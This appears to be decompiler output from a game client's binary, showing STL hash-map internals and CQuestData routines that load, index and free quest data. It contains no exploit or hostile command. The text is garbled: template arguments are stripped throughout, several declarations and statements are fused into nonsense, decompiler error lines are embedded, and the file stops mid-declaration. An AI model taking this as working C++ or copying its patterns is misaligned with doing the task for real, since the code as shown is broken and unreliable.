unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-28h]@31 int v28; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@25 int v30; // [sp+10h] [bp-14h]@25 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@25 int _Wherea; // [sp+2Ch] [bp+8h]@31 std::list,std::allocator > >::iterator *_Counta; // [sp+30h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *_Where._Mylast; v31 = &v28; _Where._Mylast = (std::list,std::allocator > >::iterator *)v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Where._Myfirst; if ( _Where._Myfirst ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (std::list,std::allocator > >::iterator *)(1073741823 - v9) < _Where._Myfirst ) std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= (unsigned int)((char *)_Where._Myfirst + v10) ) { v19 = v4->_Mylast; v20 = *(std::list,std::allocator > >::iterator **)&_Where; v21 = (std::list,std::allocator > >::iterator *)((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2) < _Where._Myfirst; v22 = 4 * (unsigned int)_Where._Myfirst; *(_DWORD *)&_Where.baseclass_0._Alval.baseclass_0.dummy[0] = 4 * (unsigned int)_Where._Myfirst; v27.dummy[0] = 4 * LOBYTE(_Where._Myfirst); _Where._Myfirst = v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v20, v19, &v20[v22 / 4], &v4->baseclass_0._Alval, v27); v23 = (unsigned int)((char *)v8 - (v4->_Mylast - v20)); v24 = v4->_Mylast; v32 = 2; std::vector>::_Ufill( v4, v24, v23, (std::list,std::allocator > >::iterator *)&_Where._Mylast); v25 = (int)((char *)v4->_Mylast + _Wherea); v4->_Mylast = (std::list,std::allocator > >::iterator *)v25; std::fill( v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Where._Mylast); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, &v4->baseclass_0._Alval, v27); std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>( v20, v26, _Counta); std::fill( v20, (std::list,std::allocator > >::iterator *)((char *)v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Where._Mylast); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < (unsigned int)((char *)_Where._Myfirst + v12) ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = (int)((char *)_Where._Myfirst + v13); } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = v4->_Myfirst; _Newvec = v14; v32 = 0; _Where._Myfirst = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Where._Myfirst, (unsigned int)v8, (std::list,std::allocator > >::iterator *)&_Where._Mylast, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, v4->_Mylast, &_Where._Myfirst[(_DWORD)v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = (int)((char *)v8 + v17); if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (std::list,std::allocator > >::iterator *)((char *)v14 + v30); v4->_Mylast = (std::list,std::allocator > >::iterator *)((char *)v14 + 4 * v18); v4->_Myfirst = (std::list,std::allocator > >::iterator *)v14; } } } // 5F7BB0: inconsistent function type and number of purged bytes //----- (005F7DF0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val) { std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Count ) { if ( _Count > 0x3FFFFFFF ) std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(this); v4 = operator new(4 * _Count); v3->_Myend = (std::list,std::allocator > >::iterator *)((char *)v4 + 4 * _Count); v3->_Myfirst = (std::list,std::allocator > >::iterator *)v4; v3->_Mylast = (std::list,std::allocator > >::iterator *)v4; v8 = 0; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v4, _Count, _Val, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Count); v3->_Mylast = (std::list,std::allocator > >::iterator *)((char *)v4 + 4 * _Count); } } //----- (005F7E86) -------------------------------------------------------- void __usercall _L85839(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>_std::allocator>>::_hash_multimap>_std::allocator>>(stdext::hash_multimap >,std::allocator > > *this) { stdext::hash_multimap >,std::allocator > > *v1; // esi@1 int v2; // esi@3 v1 = this; if ( this->baseclass_0._Vec._Myfirst ) operator delete(this->baseclass_0._Vec._Myfirst); v1->baseclass_0._Vec._Myfirst = 0; v1->baseclass_0._Vec._Mylast = 0; v1->baseclass_0._Vec._Myend = 0; v2 = (int)&v1->baseclass_0._List; std::list>::clear((std::list,std::allocator > > *)v2); operator delete(*(void **)(v2 + 4)); *(_DWORD *)(v2 + 4) = 0; } //----- (005F7EE0) -------------------------------------------------------- #error "5F7F3F: call analysis failed (funcsize=47)" //----- (005F7F50) -------------------------------------------------------- #error "5F7F90: call analysis failed (funcsize=30)" //----- (005F7FA0) -------------------------------------------------------- void __thiscall stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>(stdext::_Hash >,std::allocator >,1> > *this, stdext::hash_compare > *_Parg, std::allocator > *_Al) { stdext::_Hash >,std::allocator >,1> > *v3; // esi@1 char *v4; // edi@1 v3 = this; this->baseclass_0.comp.comp.baseclass_0.dummy[0] = _Parg->comp.baseclass_0.dummy[0]; v4 = (char *)&this->_List; this->_List._Myhead = std::list_std::allocator>>::_Buynode(&this->_List); *((_DWORD *)v4 + 2) = 0; _Parg = (stdext::hash_compare > *)v3->_List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n( &v3->_Vec, 9u, (std::list,std::allocator > >::iterator *)&_Parg); v3->_Mask = 1; v3->_Maxidx = 1; } //----- (005F8020) -------------------------------------------------------- std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_1>>::insert(stdext::_Hash >,std::allocator >,1> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val) { stdext::_Hash >,std::allocator >,1> > *v3; // esi@1 unsigned int v4; // edi@1 std::list,std::allocator > >::iterator *v5; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v8; // edx@6 int v9; // eax@7 std::list,std::allocator > >::iterator v10; // edx@9 int v11; // eax@9 unsigned int v12; // eax@10 std::list,std::allocator > >::iterator *v13; // eax@12 int v14; // ecx@12 int v15; // edx@12 std::_List_nod,std::allocator > >::_Node *v16; // edi@12 std::_List_nod,std::allocator > >::_Node *v17; // ebp@15 std::_List_nod,std::allocator > >::_Node *v18; // ebx@20 std::_List_nod,std::allocator > >::_Node *v19; // eax@20 std::_List_nod,std::allocator > >::_Node *v20; // eax@20 unsigned int i; // eax@21 std::list,std::allocator > >::iterator *v22; // edx@22 std::_List_nod,std::allocator > >::_Node *v23; // ebx@22 int v24; // edx@22 std::pair *v25; // ebx@28 const unsigned __int16 v26; // dx@28 unsigned int v27; // ecx@28 int v28; // eax@28 std::list,std::allocator > >::iterator *v29; // ecx@30 int v30; // ebp@30 int v31; // edi@30 std::_List_nod,std::allocator > >::_Node *v32; // ebx@36 int v33; // edx@36 int v34; // ecx@37 std::pair,std::allocator > >::iterator,bool> *v35; // eax@40 int v36; // [sp+10h] [bp-4h]@12 int _Vala; // [sp+1Ch] [bp+8h]@30 v3 = this; v4 = this->_Maxidx; if ( v4 <= this->_List._Mysize >> 2 ) { v5 = this->_Vec._Myfirst; v6 = &this->_Vec; if ( v5 ) v7 = v3->_Vec._Mylast - v5; else v7 = 0; if ( v7 - 1 > v4 ) { v12 = v3->_Mask; if ( v12 < v4 ) v3->_Mask = 2 * v12 + 1; } else { v8 = v3->_Vec._Myfirst; if ( v8 ) v9 = v3->_Vec._Mylast - v8; else v9 = 0; v10 = (std::list,std::allocator > >::iterator)v3->_List._Myhead; v11 = 2 * v9 - 3; v3->_Mask = v11; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize( v6, v11 + 2, v10); } v13 = v3->_Vec._Myfirst; v14 = v3->_Maxidx - (v3->_Mask >> 1) - 1; v15 = v14; v16 = *(std::_List_nod,std::allocator > >::_Node **)&v13[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v36 = v3->_Maxidx - (v3->_Mask >> 1) - 1; if ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v13[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { if ( (v3->_Mask & (v16->_Myval.first ^ 0xDEADBEEF)) == v14 ) { v16 = v16->_Next; } else { v17 = v16->_Next; if ( v16->_Next != v3->_List._Myhead ) { if ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v17; if ( !v14 ) break; --v14; v15 = v14; } while ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); v14 = v36; } v18 = v3->_List._Myhead; v16->_Prev->_Next = v17; v17->_Prev->_Next = v18; v18->_Prev->_Next = v16; v19 = v18->_Prev; v18->_Prev = v17->_Prev; v17->_Prev = v16->_Prev; v16->_Prev = v19; v20 = v3->_List._Myhead; v16 = v20->_Prev; *(_DWORD *)&v3->_Vec._Myfirst[v3->_Maxidx + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v20; } for ( i = v3->_Maxidx; v14 < i; *(_DWORD *)v24 = v16 ) { v22 = v3->_Vec._Myfirst; v23 = *(std::_List_nod,std::allocator > >::_Node **)&v22[i].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v24 = (int)&v22[i]; if ( v23 != v3->_List._Myhead ) break; --i; } if ( v17 == v3->_List._Myhead ) break; v16 = v17; } v15 = v14; } while ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } ++v3->_Maxidx; } v25 = _Val; v26 = _Val->first; v27 = v3->_Mask; v28 = v27 & (_Val->first ^ 0xDEADBEEF); if ( v3->_Maxidx <= v28 ) v28 += -1 - (v27 >> 1); v29 = v3->_Vec._Myfirst; v30 = v28; v31 = *(_DWORD *)&v29[v28 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; _Vala = v28; if ( v31 != *(_DWORD *)&v29[v28].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { while ( 1 ) { v31 = *(_DWORD *)(v31 + 4); if ( *(_WORD *)(v31 + 8) <= v26 ) break; if ( v31 == *(_DWORD *)&v3->_Vec._Myfirst[v30].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) goto LABEL_36; } if ( *(_WORD *)(v31 + 8) < v26 ) v31 = *(_DWORD *)v31; } LABEL_36: v32 = std::list_std::allocator>>::_Buynode( &v3->_List, (std::_List_nod,std::allocator > >::_Node *)v31, *(std::_List_nod,std::allocator > >::_Node **)(v31 + 4), v25); std::list_std::allocator>>::_Incsize( &v3->_List, 1u); *(_DWORD *)(v31 + 4) = v32; v32->_Prev->_Next = v32; v33 = *(_DWORD *)(v31 + 4); if ( v31 == *(_DWORD *)&v3->_Vec._Myfirst[v30].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { v34 = v30 * 4; do { *(_DWORD *)&v3->_Vec._Myfirst->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[v34] = v33; if ( !_Vala ) break; --_Vala; v34 = 4 * _Vala; } while ( v31 == *(_DWORD *)&v3->_Vec._Myfirst[_Vala].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v33; result->second = 1; return v35; } //----- (005F8260) -------------------------------------------------------- std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_0>>::insert(stdext::_Hash >,std::allocator >,0> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val) { stdext::_Hash >,std::allocator >,0> > *v3; // esi@1 unsigned int v4; // edi@1 std::list,std::allocator > >::iterator *v5; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v8; // edx@6 int v9; // eax@7 std::list,std::allocator > >::iterator v10; // edx@9 int v11; // eax@9 unsigned int v12; // eax@10 std::list,std::allocator > >::iterator *v13; // eax@12 int v14; // ecx@12 int v15; // edx@12 std::_List_nod,std::allocator > >::_Node *v16; // edi@12 std::_List_nod,std::allocator > >::_Node *v17; // ebp@15 std::_List_nod,std::allocator > >::_Node *v18; // ebx@20 std::_List_nod,std::allocator > >::_Node *v19; // eax@20 std::_List_nod,std::allocator > >::_Node *v20; // eax@20 unsigned int i; // eax@21 std::list,std::allocator > >::iterator *v22; // edx@22 std::_List_nod,std::allocator > >::_Node *v23; // ebx@22 int v24; // edx@22 std::pair *v25; // ebx@28 const unsigned __int16 v26; // dx@28 unsigned int v27; // ecx@28 int v28; // eax@28 std::list,std::allocator > >::iterator *v29; // ecx@30 int v30; // ebp@30 int v31; // edi@30 std::_List_nod,std::allocator > >::_Node *v32; // ebx@33 int v33; // edx@33 int v34; // ecx@34 std::pair,std::allocator > >::iterator,bool> *v35; // eax@37 int v36; // [sp+10h] [bp-4h]@12 int _Vala; // [sp+1Ch] [bp+8h]@30 v3 = this; v4 = this->_Maxidx; if ( v4 <= this->_List._Mysize >> 2 ) { v5 = this->_Vec._Myfirst; v6 = &this->_Vec; if ( v5 ) v7 = v3->_Vec._Mylast - v5; else v7 = 0; if ( v7 - 1 > v4 ) { v12 = v3->_Mask; if ( v12 < v4 ) v3->_Mask = 2 * v12 + 1; } else { v8 = v3->_Vec._Myfirst; if ( v8 ) v9 = v3->_Vec._Mylast - v8; else v9 = 0; v10 = (std::list,std::allocator > >::iterator)v3->_List._Myhead; v11 = 2 * v9 - 3; v3->_Mask = v11; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize( v6, v11 + 2, v10); } v13 = v3->_Vec._Myfirst; v14 = v3->_Maxidx - (v3->_Mask >> 1) - 1; v15 = v14; v16 = *(std::_List_nod,std::allocator > >::_Node **)&v13[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v36 = v3->_Maxidx - (v3->_Mask >> 1) - 1; if ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v13[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { if ( (v3->_Mask & (v16->_Myval.first ^ 0xDEADBEEF)) == v14 ) { v16 = v16->_Next; } else { v17 = v16->_Next; if ( v16->_Next != v3->_List._Myhead ) { if ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v17; if ( !v14 ) break; --v14; v15 = v14; } while ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); v14 = v36; } v18 = v3->_List._Myhead; v16->_Prev->_Next = v17; v17->_Prev->_Next = v18; v18->_Prev->_Next = v16; v19 = v18->_Prev; v18->_Prev = v17->_Prev; v17->_Prev = v16->_Prev; v16->_Prev = v19; v20 = v3->_List._Myhead; v16 = v20->_Prev; *(_DWORD *)&v3->_Vec._Myfirst[v3->_Maxidx + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v20; } for ( i = v3->_Maxidx; v14 < i; *(_DWORD *)v24 = v16 ) { v22 = v3->_Vec._Myfirst; v23 = *(std::_List_nod,std::allocator > >::_Node **)&v22[i].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v24 = (int)&v22[i]; if ( v23 != v3->_List._Myhead ) break; --i; } if ( v17 == v3->_List._Myhead ) break; v16 = v17; } v15 = v14; } while ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } ++v3->_Maxidx; } v25 = _Val; v26 = _Val->first; v27 = v3->_Mask; v28 = v27 & (_Val->first ^ 0xDEADBEEF); if ( v3->_Maxidx <= v28 ) v28 += -1 - (v27 >> 1); v29 = v3->_Vec._Myfirst; v30 = v28; v31 = *(_DWORD *)&v29[v28 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; _Vala = v28; if ( v31 != *(_DWORD *)&v29[v28].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { while ( 1 ) { v31 = *(_DWORD *)(v31 + 4); if ( *(_WORD *)(v31 + 8) <= v26 ) break; if ( v31 == *(_DWORD *)&v3->_Vec._Myfirst[v30].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) goto LABEL_33; } if ( *(_WORD *)(v31 + 8) >= v26 ) { v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v31; result->second = 0; return v35; } v31 = *(_DWORD *)v31; } LABEL_33: v32 = std::list_std::allocator>>::_Buynode( &v3->_List, (std::_List_nod,std::allocator > >::_Node *)v31, *(std::_List_nod,std::allocator > >::_Node **)(v31 + 4), v25); std::list_std::allocator>>::_Incsize( &v3->_List, 1u); *(_DWORD *)(v31 + 4) = v32; v32->_Prev->_Next = v32; v33 = *(_DWORD *)(v31 + 4); if ( v31 == *(_DWORD *)&v3->_Vec._Myfirst[v30].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { v34 = v30 * 4; do { *(_DWORD *)&v3->_Vec._Myfirst->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[v34] = v33; if ( !_Vala ) break; --_Vala; v34 = 4 * _Vala; } while ( v31 == *(_DWORD *)&v3->_Vec._Myfirst[_Vala].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v33; result->second = 1; return v35; } //----- (005F84C0) -------------------------------------------------------- void __thiscall CQuestData::CQuestData(CQuestData *this, CDataReader *pQuestDialog) { CQuestData *v2; // esi@1 v2 = this; this->m_pQuestDialog = pQuestDialog; stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>( (stdext::_Hash >,std::allocator >,1> > *)&this->m_hashmap_QuestData, (stdext::hash_compare > *)&pQuestDialog, (std::allocator > *)&pQuestDialog); stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>( &v2->m_mhmap_QuestDataByMobID.baseclass_0, (stdext::hash_compare > *)&pQuestDialog, (std::allocator > *)&pQuestDialog); v2->m_pBF = 0; v2->m_pDataHead = 0; v2->m_ppQuestDataArray = 0; v2->m_ReadError = 1; v2->m_bReadonly = 1; v2->m_pNULLSTR = NULLSTR; } //----- (005F8540) -------------------------------------------------------- void __thiscall CQuestData::ClearBF(CQuestData *this) { std::list,std::allocator > >::iterator *v1; // ebx@0 std::list,std::allocator > >::iterator *v2; // edi@0 unsigned int v3; // esi@0 CQuestData *v4; // esi@1 void *v5; // eax@1 QUEST_DATA_HEAD *v6; // eax@5 unsigned int v7; // edi@6 QUEST_DATA *v8; // eax@7 void *v9; // eax@8 QUEST_DATA *v10; // edx@10 QUEST_DATA *v11; // ecx@12 void **v12; // ecx@19 void *v13; // eax@19 bool v14; // zf@19 void *v15; // edi@20 std::list,std::allocator > >::iterator *v16; // edi@21 std::vector,std::allocator > >::iterator,std::allocator,std::allocatorm_pBF; v19._Myend = v2; if ( v5 ) { operator delete(v5); v4->m_pBF = 0; } if ( v4->m_ppQuestDataArray ) { if ( !v4->m_bReadonly ) { v6 = v4->m_pDataHead; if ( v6 ) { v7 = 0; if ( v6->NumOfQuest > 0u ) { do { v8 = v4->m_ppQuestDataArray[v7]; if ( v8 ) { v9 = v8->pScriptStart; if ( v9 ) operator delete__(v9); v10 = v4->m_ppQuestDataArray[v7]; if ( v10->pScriptDoing ) operator delete__(v10->pScriptDoing); v11 = v4->m_ppQuestDataArray[v7]; if ( v11->pScriptEnd ) operator delete__(v11->pScriptEnd); operator delete(v4->m_ppQuestDataArray[v7]); } ++v7; } while ( v7 < v4->m_pDataHead->NumOfQuest ); } } } operator delete__(v4->m_ppQuestDataArray); v4->m_ppQuestDataArray = 0; } if ( v4->m_pDataHead ) { operator delete(v4->m_pDataHead); v4->m_pDataHead = 0; } v12 = (void **)v4->m_hashmap_QuestData.baseclass_0._List._Myhead; v13 = *v12; *v12 = v12; v4->m_hashmap_QuestData.baseclass_0._List._Myhead->_Prev = v4->m_hashmap_QuestData.baseclass_0._List._Myhead; v14 = v13 == v4->m_hashmap_QuestData.baseclass_0._List._Myhead; v4->m_hashmap_QuestData.baseclass_0._List._Mysize = 0; if ( !v14 ) { do { v15 = *(void **)v13; operator delete(v13); v13 = v15; } while ( v15 != v4->m_hashmap_QuestData.baseclass_0._List._Myhead ); } v16 = v4->m_hashmap_QuestData.baseclass_0._Vec._Myfirst; v21 = (CQuestData *)v4->m_hashmap_QuestData.baseclass_0._List._Myhead; if ( v16 != v4->m_hashmap_QuestData.baseclass_0._Vec._Mylast ) v4->m_hashmap_QuestData.baseclass_0._Vec._Mylast = v16; v19._Mylast = (std::list,std::allocator > >::iterator *)&v21; v19._Myfirst = (std::list,std::allocator > >::iterator *)9; *(_DWORD *)&v19.baseclass_0._Alval.baseclass_0.dummy[0] = v4->m_hashmap_QuestData.baseclass_0._Vec._Myfirst; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n( &v4->m_hashmap_QuestData.baseclass_0._Vec, v19, v20, v1); v4->m_hashmap_QuestData.baseclass_0._Mask = 1; v4->m_hashmap_QuestData.baseclass_0._Maxidx = 1; } // 5F8540: could not find valid save-restore pair for ebx // 5F8540: could not find valid save-restore pair for edi // 5F8540: could not find valid save-restore pair for esi //----- (005F8690) -------------------------------------------------------- void __thiscall CQuestData::QuestData_HashDataIn(CQuestData *this) { CQuestData *v1; // ebx@1 QUEST_DATA_HEAD *v2; // eax@1 unsigned __int16 v3; // ax@2 int v4; // esi@4 unsigned int v5; // ebp@4 __int16 v6; // cx@5 int v7; // esi@5 int v8; // eax@6 signed __int16 v9; // ax@8 int v10; // esi@10 int v11; // ecx@14 std::list,std::allocator > >::iterator _Val; // [sp+10h] [bp-38h]@4 std::list,std::allocator > >::iterator result; // [sp+18h] [bp-30h]@5 unsigned int NumOfQuest; // [sp+1Ch] [bp-2Ch]@4 __int16 v15; // [sp+20h] [bp-28h]@5 QUEST_DATA *v16; // [sp+24h] [bp-24h]@5 __int16 v17; // [sp+28h] [bp-20h]@10 int v18; // [sp+2Ch] [bp-1Ch]@10 __int16 v19; // [sp+30h] [bp-18h]@14 int v20; // [sp+34h] [bp-14h]@14 char v21; // [sp+38h] [bp-10h]@10 char v22; // [sp+40h] [bp-8h]@14 v1 = this; v2 = this->m_pDataHead; if ( v2 ) v3 = v2->NumOfQuest; else v3 = 0; v4 = v3; NumOfQuest = v3; std::list>::clear(&this->m_hashmap_QuestData.baseclass_0._List); _Val = (std::list,std::allocator > >::iterator)v1->m_hashmap_QuestData.baseclass_0._List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n( &v1->m_hashmap_QuestData.baseclass_0._Vec, 9u, &_Val); v1->m_hashmap_QuestData.baseclass_0._Mask = 1; v1->m_hashmap_QuestData.baseclass_0._Maxidx = 1; std::list>::clear(&v1->m_mhmap_QuestDataByMobID.baseclass_0._List); _Val = (std::list,std::allocator > >::iterator)v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n( &v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec, 9u, &_Val); v1->m_mhmap_QuestDataByMobID.baseclass_0._Mask = 1; v1->m_mhmap_QuestDataByMobID.baseclass_0._Maxidx = 1; v5 = 0; if ( v4 ) { do { v6 = v1->m_ppQuestDataArray[v5]->ID; v16 = v1->m_ppQuestDataArray[v5]; v15 = v6; stdext::_Hash>_std::allocator>_0>>::insert( &v1->m_hashmap_QuestData.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&_Val, (std::pair *)&v15); v7 = (int)v1->m_ppQuestDataArray[v5]; _Val = (std::list,std::allocator > >::iterator)*(_WORD *)(v7 + 4); stdext::_Hash>_std::allocator>_0>>::lower_bound( &v1->m_hashmap_QuestData.baseclass_0, &result, (const unsigned __int16 *)&_Val); if ( (std::_List_nod,std::allocator > >::_Node *)result != v1->m_hashmap_QuestData.baseclass_0._List._Myhead && (v8 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 && *(_BYTE *)(v8 + 21) ) v9 = *(_WORD *)(v8 + 22); else v9 = -1; v17 = v9; v18 = v7; stdext::_Hash>_std::allocator>_1>>::insert( &v1->m_mhmap_QuestDataByMobID.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&v21, (std::pair *)&v17); v10 = v7 + 88; _Val = (std::list,std::allocator > >::iterator)5; do { if ( *(_BYTE *)(v10 - 4) && (!*(_BYTE *)v10 || *(_BYTE *)v10 == 3) ) { v11 = (int)v1->m_ppQuestDataArray[v5]; v19 = *(_WORD *)(v10 - 2); v20 = v11; stdext::_Hash>_std::allocator>_1>>::insert( &v1->m_mhmap_QuestDataByMobID.baseclass_0, (std::pair,std::allocator > >::iterator,bool> *)&v22, (std::pair *)&v19); } v10 += 8; --*(_DWORD *)&_Val; } while ( _Val ); ++v5; } while ( v5 < NumOfQuest ); } } //----- (005F8800) -------------------------------------------------------- void __thiscall CQuestData::_CQuestData(CQuestData *this) { CQuestData *v1; // esi@1 int v2; // esi@5 v1 = this; CQuestData::ClearBF(this); if ( v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst ) operator delete(v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst); v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myfirst = 0; v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Mylast = 0; v1->m_mhmap_QuestDataByMobID.baseclass_0._Vec._Myend = 0; std::list>::clear(&v1->m_mhmap_QuestDataByMobID.baseclass_0._List); operator delete(v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead); v1->m_mhmap_QuestDataByMobID.baseclass_0._List._Myhead = 0; if ( v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst ) operator delete(v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst); v1->m_hashmap_QuestData.baseclass_0._Vec._Myfirst = 0; v1->m_hashmap_QuestData.baseclass_0._Vec._Mylast = 0; v1->m_hashmap_QuestData.baseclass_0._Vec._Myend = 0; v2 = (int)&v1->m_hashmap_QuestData.baseclass_0._List; std::list>::clear((std::list,std::allocator > > *)v2); operator delete(*(void **)(v2 + 4)); *(_DWORD *)(v2 + 4) = 0; } //----- (005F88B0) -------------------------------------------------------- int __thiscall CQuestData::ReadModeRead(CQuestData *this, const char *pFN) { CQuestData *v2; // esi@1 int result; // eax@1 int v4; // ebx@1 int v5; // eax@3 int v6; // edi@3 void *v7; // eax@3 unsigned int v8; // edi@7 void *v9; // eax@7 void *v10; // eax@10 QUEST_DATA_HEAD *v11; // ecx@10 unsigned int v12; // edx@10 int v13; // edi@10 int i; // ecx@10 char *v15; // eax@13 unsigned int v16; // edx@13 int v17; // 